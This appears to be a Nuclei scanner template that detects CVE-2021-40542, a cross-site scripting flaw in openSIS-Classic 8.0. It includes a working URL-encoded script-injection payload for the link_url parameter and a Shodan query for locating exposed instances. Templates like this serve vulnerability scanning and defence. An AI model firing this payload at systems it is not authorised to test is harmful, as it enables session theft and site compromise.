id: CVE-2021-40542

info:
  name: Opensis-Classic 8.0 - Cross-Site Scripting
  author: alph4byt3
  severity: medium
  description: |
    Opensis-Classic Version 8.0 is affected by cross-site scripting. An unauthenticated user can inject and execute JavaScript code through the link_url parameter in Ajax_url_encode.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.
  reference:
    - https://github.com/OS4ED/openSIS-Classic/issues/189
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40542
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-40542
    cwe-id: CWE-79
    epss-score: 0.00643
    epss-percentile: 0.78811
    cpe: cpe:2.3:a:os4ed:opensis:8.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: os4ed
    product: opensis
    shodan-query: http.title:"openSIS"
  tags: cve2021,cve,xss,opensis,os4ed

http:
  - method: GET
    path:
      - '{{BaseURL}}/Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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